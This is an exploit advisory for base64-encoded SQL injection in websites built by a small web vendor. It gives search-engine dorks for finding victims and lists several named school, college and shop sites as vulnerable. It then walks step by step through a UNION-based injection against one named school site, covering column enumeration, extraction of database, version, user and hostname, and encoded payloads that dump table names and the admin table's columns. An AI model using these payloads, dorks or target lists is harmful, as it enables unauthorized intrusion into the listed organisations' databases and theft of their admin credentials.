=================================================================================================== # Ttitle : Engineered by Enigmaa Technologies group BASE64 Sql injection Vulnerability # Author : Dj3Bb4rAn0n (bassem) FB/djebbar.bassem.16 # Date : /05/04/2019/ # Home : Annaba ( algeria ) # Tested on : Linux ( backbox ) # Vendor : Enigmaa Technologies group # Dorks : Engineered by : Enigmaa Tech Group | Powered by Enigmaa Technologies | Designed by Sphinx Technology =================================================================================================== PoC : Admin panel path : site.com/admin/login/ ----------------------- [ + ] Search in google using dorks above [ + ] Payload [ ' ] [ + ] Choose your target and look for injection point [ Encoded with base64 ] Ex: www.bhbcollege.ac.in/fac.php?id=MTU= <====== Inject here ####################### Example of vulnerable sites : ###################### [ + ] www.bhbcollege.ac.in/fac.php?id=MTU= [ + ] www.bookmypuja.in/book.php?id=MzU= [ + ] iconacademy.org/view.php?id=25 [ + ] www.krdcollege.in/view.php?id=23 [ + ] hdiedupublishers.com/product.php?id=63 ############ Demo ############ # www.navjyotiroyalheritageschool.in/read.php?id=NTA= # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=50'] # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=50'] # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=50' -- -] Fixable : ' -- - Columns number is 12 : ----------------------------- # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=50' order by 12 -- -] Vulnerable columns is : 3 | 4 | 6 | 11 | 12 | ----------------------------------------------------- # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=-50' Union Select 1,2,3,4,5,6,7,8,9,10,11,12 -- -] Database | Version | user | Hostamne : ------------------------------------------------ # www.navjyotiroyalheritageschool.in/read.php?id=[BASE64]=-50' Union Select 1,2,concat(database(),0x3c62723e,@@version,0x3c62723e,user(),0x3c62723e,@@Hostname),4,5,6,7,8,9,10,11,12 -- -] Tables : [ Encoded with base64] ---------- # www.navjyotiroyalheritageschool.in/read.php?id=LTUwJyAgVW5pb24gU2VsZWN0IDEsMixncm91cF9jb25jYXQoMHgzYzYyNzIzZSx0YWJsZV9uYW1lKSw0LDUsNiw3LDgsOSwxMCwxMSwxMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSJta2NvbGN4Zl9uYXYiICAtLSAt columns : [ Encoded with base64] ------------ # http://www.navjyotiroyalheritageschool.in /read.php?id=LTUwJyAgVW5pb24gU2VsZWN0IDEsMixncm91cF9jb25jYXQoMHgzYzYyNzIzZSxjb2x1bW5fbmFtZSksNCw1LDYsNyw4LDksMTAsMTEsMTIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSJhZG1pbiIgIC0tIC0= ######## Greetz to : Lakarha_23 | mohammed pazzo | Ja gar #######